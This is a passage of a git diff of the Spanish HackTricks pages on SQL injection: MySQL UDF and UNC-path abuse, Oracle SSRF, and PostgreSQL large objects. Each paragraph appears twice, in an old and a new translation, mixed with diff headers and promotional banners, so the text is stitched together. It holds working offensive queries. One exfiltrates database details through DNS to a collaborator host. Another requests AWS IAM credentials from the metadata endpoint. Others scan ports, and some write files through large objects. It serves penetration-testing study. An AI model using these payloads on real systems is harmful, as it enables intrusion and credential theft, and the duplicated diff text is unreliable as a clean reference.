Dado que `secure_file_priv` está deshabilitado (`""`), y asumiendo que se otorgan los permisos necesarios de archivo y `file_priv`, se pueden leer archivos fuera del directorio designado. Sin embargo, la capacidad de estas funciones para realizar llamadas de red depende en gran medida del sistema operativo. En sistemas Windows, las llamadas de red a rutas UNC son factibles debido a la comprensión de las convenciones de nomenclatura UNC por parte del sistema operativo, lo que puede llevar a la exfiltración de hashes NTLMv2.
Este método de SSRF está limitado al puerto TCP 445 y no permite la modificación del número de puerto, aunque se puede utilizar para acceder a compartidos con privilegios de lectura completos y, como se demostró en investigaciones anteriores, para robar hashes para una explotación adicional.
Este método SSRF está limitado al puerto TCP 445 y no permite la modificación del número de puerto, aunque se puede utilizar para acceder a recursos compartidos con plenos privilegios de lectura y, como se demostró en investigaciones anteriores, para robar hashes para una explotación posterior.
### Ejecución de Código Remoto (RCE) mediante Funciones Definidas por el Usuario (UDF)
### Ejecución Remota de Código (RCE) a través de Funciones Definidas por el Usuario (UDF)
Las bases de datos de MySQL ofrecen el uso de Funciones Definidas por el Usuario (UDF) desde archivos de biblioteca externos. Si estas bibliotecas son accesibles dentro de directorios específicos o en la variable de entorno `$PATH` del sistema, pueden ser invocadas desde MySQL.
Las bases de datos MySQL ofrecen el uso de Funciones Definidas por el Usuario (UDF) a partir de archivos de bibliotecas externas. Si estas bibliotecas son accesibles dentro de directorios específicos o del `$PATH` del sistema, se pueden invocar desde MySQL.
Esta técnica permite la ejecución de solicitudes de red/HTTP a través de una UDF, siempre que se cumplan varias condiciones, incluido el acceso de escritura al `@@plugin_dir`, `file_priv` configurado en `Y` y `secure_file_priv` deshabilitado.
Esta técnica permite la ejecución de solicitudes de red/HTTP a través de una UDF, siempre que se cumplan varias condiciones, incluyendo acceso de escritura al `@@plugin_dir`, `file_priv` configurado en `Y`, y `secure_file_priv` deshabilitado.
Por ejemplo, la biblioteca `lib_mysqludf_sys` u otras bibliotecas UDF que permiten solicitudes HTTP pueden cargarse para realizar SSRF. Las bibliotecas deben transferirse al servidor, lo cual se puede lograr mediante la codificación en hexadecimal o base64 del contenido de la biblioteca y luego escribiéndola en el directorio correspondiente.
Por ejemplo, la biblioteca `lib_mysqludf_sys` u otras bibliotecas UDF que permiten solicitudes HTTP pueden ser cargadas para realizar SSRF. Las bibliotecas deben ser transferidas al servidor, lo que se puede lograr mediante la codificación en hex o base64 del contenido de la biblioteca y luego escribiéndolo en el directorio apropiado.
El proceso varía si el `@@plugin_dir` no es escribible, especialmente para versiones de MySQL superiores a `v5.0.67`. En tales casos, deben utilizarse rutas alternativas que sean escribibles.
El proceso varía si el `@@plugin_dir` no es escribible, especialmente para versiones de MySQL superiores a `v5.0.67`. En tales casos, se deben utilizar rutas alternativas que sean escribibles.
La automatización de estos procesos puede facilitarse con herramientas como SQLMap, que admite la inyección de UDF, y para inyecciones de SQL ciegas, se pueden utilizar técnicas de redirección de salida o de contrabando de solicitudes DNS.
La automatización de estos procesos puede ser facilitada por herramientas como SQLMap, que soporta inyección de UDF, y para inyecciones SQL ciegas, se pueden utilizar técnicas de redirección de salida o de contrabando de solicitudes DNS.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# Inyección en Oracle
# Oracle injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Sirve esta publicación como una copia de la máquina del tiempo del post eliminado de [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
**Sirva esta publicación como una copia de la máquina Wayback del post eliminado de [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
## SSRF
Usar Oracle para realizar solicitudes HTTP y DNS fuera de banda está bien documentado, pero como un medio para exfiltrar datos SQL en inyecciones. Siempre podemos modificar estas técnicas/funciones para realizar otros SSRF/XSPA.
Usar Oracle para hacer solicitudes HTTP y DNS fuera de banda está bien documentado, pero como un medio para exfiltrar datos SQL en inyecciones. Siempre podemos modificar estas técnicas/funciones para hacer otros SSRF/XSPA.
Instalar Oracle puede ser realmente doloroso, especialmente si deseas configurar una instancia rápida para probar comandos. Mi amigo y colega en [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me señaló a [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitió configurar una instancia en una máquina Ubuntu AWS t2.large y Docker.
Instalar Oracle puede ser realmente doloroso, especialmente si deseas configurar una instancia rápida para probar comandos. Mi amigo y colega en [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me señaló [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitió configurar una instancia en una máquina Ubuntu t2.large de AWS y Docker.
Ejecuté el comando de docker con la bandera `--network="host"` para poder imitar Oracle como una instalación nativa con acceso completo a la red, durante el transcurso de esta publicación de blog.
Ejecuté el comando docker con la bandera `--network="host"` para poder imitar Oracle como una instalación nativa con acceso completo a la red, durante el transcurso de esta publicación del blog.
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### Paquetes de Oracle que admiten una especificación de URL o de Nombre de host/Número de puerto <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
#### Paquetes de Oracle que soportan una especificación de URL o un Nombre de Host/Número de Puerto <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
Para encontrar cualquier paquete y función que admita una especificación de host y puerto, realicé una búsqueda en Google en la [Documentación en línea de la Base de datos de Oracle](https://docs.oracle.com/database/121/index.html). Específicamente,
Con el fin de encontrar paquetes y funciones que soporten una especificación de host y puerto, realicé una búsqueda en Google en la [Documentación en Línea de Oracle Database](https://docs.oracle.com/database/121/index.html). Específicamente,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
La búsqueda devolvió los siguientes resultados (no todos se pueden utilizar para realizar conexiones de red salientes)
La búsqueda devolvió los siguientes resultados (no todos se pueden usar para realizar redes salientes)
* DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP
@ -49,34 +50,34 @@ La búsqueda devolvió los siguientes resultados (no todos se pueden utilizar pa
* DBMS\_STREAMS\_ADM
* UTL\_HTTP
Esta búsqueda básica obviamente omite paquetes como `DBMS_LDAP` (que permite pasar un nombre de host y número de puerto) ya que la [página de documentación](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplemente te redirige a una [ubicación diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Por lo tanto, puede haber otros paquetes de Oracle que se puedan abusar para realizar solicitudes salientes que podrían haber sido pasados por alto.
Esta búsqueda cruda obviamente omite paquetes como `DBMS_LDAP` (que permite pasar un nombre de host y un número de puerto) ya que [la página de documentación](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplemente te dirige a [una ubicación diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Por lo tanto, puede haber otros paquetes de Oracle que se pueden abusar para hacer solicitudes salientes que podría haber pasado por alto.
En cualquier caso, echemos un vistazo a algunos de los paquetes que hemos descubierto y enumerado anteriormente.
En cualquier caso, echemos un vistazo a algunos de los paquetes que hemos descubierto y enumerado arriba.
**DBMS\_LDAP.INIT**
El paquete `DBMS_LDAP` permite acceder a datos de servidores LDAP. La función `init()` inicializa una sesión con un servidor LDAP y toma un nombre de host y número de puerto como argumento.
El paquete `DBMS_LDAP` permite el acceso a datos desde servidores LDAP. La función `init()` inicializa una sesión con un servidor LDAP y toma un nombre de host y un número de puerto como argumento.
Esta función ha sido documentada anteriormente para mostrar la exfiltración de datos a través de DNS, como se muestra a continuación:
Esta función ha sido documentada anteriormente para mostrar la exfiltración de datos a través de DNS, como se muestra a continuación.
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
Sin embargo, dado que la función acepta un nombre de host y un número de puerto como argumentos, también puedes usar esto para funcionar como un escáner de puertos.
Sin embargo, dado que la función acepta un nombre de host y un número de puerto como argumentos, puedes usar esto para funcionar como un escáner de puertos también.
Aquí tienes algunos ejemplos
Aquí hay algunos ejemplos
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
Un `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indica que el puerto está cerrado mientras un valor de sesión apunta a que el puerto está abierto.
Un `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` muestra que el puerto está cerrado mientras que un valor de sesión indica que el puerto está abierto.
**UTL\_SMTP**
El paquete `UTL_SMTP` está diseñado para enviar correos electrónicos a través de SMTP. El ejemplo proporcionado en el [sitio de documentación de Oracle muestra cómo puedes usar este paquete para enviar un correo electrónico](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Para nosotros, sin embargo, lo interesante es la capacidad de proporcionar un host y una especificación de puerto.
El paquete `UTL_SMTP` está diseñado para enviar correos electrónicos a través de SMTP. El ejemplo proporcionado en el [sitio de documentación de Oracle muestra cómo puedes usar este paquete para enviar un correo electrónico](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Para nosotros, sin embargo, lo interesante es la capacidad de proporcionar una especificación de host y puerto.
A continuación se muestra un ejemplo básico con la función `UTL_SMTP.OPEN_CONNECTION`, con un tiempo de espera de 2 segundos.
A continuación se muestra un ejemplo rudimentario con la función `UTL_SMTP.OPEN_CONNECTION`, con un tiempo de espera de 2 segundos.
```
DECLARE c utl_smtp.connection;
BEGIN
@ -90,13 +91,13 @@ BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
Un `ORA-29276: transfer timeout` muestra que el puerto está abierto pero no se estableció ninguna conexión SMTP, mientras que un `ORA-29278: SMTP transient error: 421 Service not available` indica que el puerto está cerrado.
Un `ORA-29276: transfer timeout` muestra que el puerto está abierto pero no se estableció una conexión SMTP, mientras que un `ORA-29278: SMTP transient error: 421 Service not available` muestra que el puerto está cerrado.
**UTL\_TCP**
El paquete `UTL_TCP` y sus procedimientos y funciones permiten la [comunicación basada en TCP/IP con servicios](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Si se programa para un servicio específico, este paquete puede convertirse fácilmente en una forma de acceder a la red o realizar solicitudes completas del lado del servidor, ya que todos los aspectos de una conexión TCP/IP pueden ser controlados.
El paquete `UTL_TCP` y sus procedimientos y funciones permiten [comunicación basada en TCP/IP con servicios](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Si se programa para un servicio específico, este paquete puede convertirse fácilmente en una forma de acceder a la red o realizar solicitudes completas del lado del servidor, ya que todos los aspectos de una conexión TCP/IP pueden ser controlados.
El ejemplo [en el sitio de documentación de Oracle muestra cómo se puede usar este paquete para hacer una conexión TCP cruda para obtener una página web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificarlo un poco más y usarlo para hacer solicitudes a la instancia de metadatos, por ejemplo, o a un servicio TCP/IP arbitrario.
El ejemplo [en el sitio de documentación de Oracle muestra cómo puedes usar este paquete para hacer una conexión TCP en bruto para obtener una página web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificarlo un poco más y usarlo para hacer solicitudes a la instancia de metadatos, por ejemplo, o a un servicio TCP/IP arbitrario.
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
@ -136,15 +137,15 @@ END;
utl_tcp.close_connection(c);
END;
```
Interesantemente, debido a la capacidad de crear solicitudes TCP en bruto, este paquete también se puede utilizar para consultar el servicio de metadatos de instancia de todos los proveedores de nube, ya que el tipo de método y los encabezados adicionales se pueden pasar dentro de la solicitud TCP.
Interesantemente, debido a la capacidad de crear solicitudes TCP en bruto, este paquete también se puede utilizar para consultar el servicio de metadatos de la instancia de todos los proveedores de nube, ya que el tipo de método y los encabezados adicionales se pueden pasar dentro de la solicitud TCP.
**UTL\_HTTP y Solicitudes Web**
Quizás la técnica más común y ampliamente documentada en cada tutorial de Inyección SQL Oracle Fuera de Banda es el [paquete `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Este paquete está definido por la documentación como - `El paquete UTL_HTTP realiza llamadas de Protocolo de Transferencia de Hipertexto (HTTP) desde SQL y PL/SQL. Puedes usarlo para acceder a datos en Internet a través de HTTP.`
Quizás la técnica más común y ampliamente documentada en cada tutorial de Inyección SQL Oracle Fuera de Banda es el [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Este paquete está definido por la documentación como - `El paquete UTL_HTTP realiza llamadas del Protocolo de Transferencia de Hipertexto (HTTP) desde SQL y PL/SQL. Puedes usarlo para acceder a datos en Internet a través de HTTP.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
Puedes además utilizar esto para realizar un escaneo de puertos rudimentario con consultas como:
También podrías usar esto para realizar un escaneo de puertos rudimentario con consultas como
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
@ -152,18 +153,19 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
Un `ORA-12541: TNS:no listener` o un `TNS:operation timed out` es una señal de que el puerto TCP está cerrado, mientras que un `ORA-29263: HTTP protocol error` o datos son una señal de que el puerto está abierto.
Otro paquete que he utilizado en el pasado con éxito variado es el [método `GETCLOB()` del tipo abstracto Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) que te permite interactuar con una URL y proporciona soporte para el protocolo HTTP. El método `GETCLOB()` se utiliza para recuperar la respuesta GET de una URL como un [tipo de dato CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
Otro paquete que he utilizado en el pasado con éxito variado es el [`GETCLOB()` método del tipo abstracto `HTTPURITYPE` de Oracle](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) que permite interactuar con una URL y proporciona soporte para el protocolo HTTP. El método `GETCLOB()` se utiliza para obtener la respuesta GET de una URL como un [tipo de dato CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,48 +1,49 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Objetos Grandes de PostgreSQL
### Objetos grandes de PostgreSQL
PostgreSQL ofrece una estructura conocida como **objetos grandes**, accesibles a través de la tabla `pg_largeobject`, diseñada para almacenar tipos de datos grandes, como imágenes o documentos PDF. Este enfoque es ventajoso sobre la función `COPY TO` ya que permite la **exportación de datos de vuelta al sistema de archivos**, asegurando que se mantenga una réplica exacta del archivo original.
PostgreSQL ofrece una estructura conocida como **objetos grandes**, accesible a través de la tabla `pg_largeobject`, diseñada para almacenar tipos de datos grandes, como imágenes o documentos PDF. Este enfoque es ventajoso sobre la función `COPY TO` ya que permite la **exportación de datos de vuelta al sistema de archivos**, asegurando que se mantenga una réplica exacta del archivo original.
Para **almacenar un archivo completo** dentro de esta tabla, se debe crear un objeto en la tabla `pg_largeobject` (identificado por un LOID), seguido de la inserción de fragmentos de datos, cada uno de 2KB de tamaño, en este objeto. Es crucial que estos fragmentos tengan exactamente 2KB de tamaño (con la posible excepción del último fragmento) para garantizar que la función de exportación se realice correctamente.
Para **almacenar un archivo completo** dentro de esta tabla, se debe crear un objeto en la tabla `pg_largeobject` (identificado por un LOID), seguido de la inserción de fragmentos de datos, cada uno de 2KB de tamaño, en este objeto. Es crucial que estos fragmentos sean exactamente de 2KB de tamaño (con la posible excepción del último fragmento) para asegurar que la función de exportación funcione correctamente.
Para **dividir tus datos binarios** en fragmentos de 2KB, se pueden ejecutar los siguientes comandos:
```bash
split -b 2048 your_file # Creates 2KB sized files
```
Para codificar cada archivo en Base64 o Hex, se pueden utilizar los siguientes comandos:
Para codificar cada archivo en Base64 o Hex, se pueden usar los siguientes comandos:
```bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
```
**Importante**: Al automatizar este proceso, asegúrate de enviar fragmentos de 2KB de bytes de texto claro. Los archivos codificados en hexadecimal requerirán 4KB de datos por fragmento debido al doble en tamaño, mientras que los archivos codificados en Base64 siguen la fórmula `ceil(n / 3) * 4`.
**Importante**: Al automatizar este proceso, asegúrese de enviar fragmentos de 2KB de bytes en texto claro. Los archivos codificados en hex requerirán 4KB de datos por fragmento debido a la duplicación en tamaño, mientras que los archivos codificados en Base64 siguen la fórmula `ceil(n / 3) * 4`.
El contenido de los objetos grandes se puede ver con fines de depuración utilizando:
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
#### Usando `lo_creat` & Base64
#### Usando `lo_creat` y Base64
Para almacenar datos binarios, primero se crea un LOID:
```sql
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
```
En situaciones que requieran un control preciso, como explotar una Inyección SQL a ciegas, se prefiere `lo_create` para especificar un LOID fijo.
En situaciones que requieren un control preciso, como la explotación de una Inyección SQL Ciega, `lo_create` es preferido para especificar un LOID fijo.
Los fragmentos de datos pueden ser insertados de la siguiente manera:
Los fragmentos de datos se pueden insertar de la siguiente manera:
```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
@ -53,14 +54,14 @@ Para exportar y potencialmente eliminar el objeto grande después de su uso:
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
```
#### Utilizando `lo_import` & Hex
#### Usando `lo_import` y Hex
La función `lo_import` se puede utilizar para crear y especificar un LOID para un objeto grande:
```sql
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
```
Después de la creación del objeto, se insertan datos por página, asegurando que cada fragmento no exceda los 2KB:
Después de la creación del objeto, los datos se insertan por página, asegurando que cada fragmento no exceda 2KB:
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
@ -72,18 +73,19 @@ select lo_unlink(173454); -- Deletes the specified large object
```
### Limitaciones
Se señala que **los objetos grandes pueden tener ACL** (Listas de Control de Acceso), lo que potencialmente restringe el acceso incluso a objetos creados por tu usuario. Sin embargo, objetos antiguos con ACL permisivas aún pueden ser accesibles para la exfiltración de contenido.
Se observa que **los objetos grandes pueden tener ACLs** (Listas de Control de Acceso), lo que puede restringir el acceso incluso a los objetos creados por tu usuario. Sin embargo, los objetos más antiguos con ACLs permisivas pueden seguir siendo accesibles para la exfiltración de contenido.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
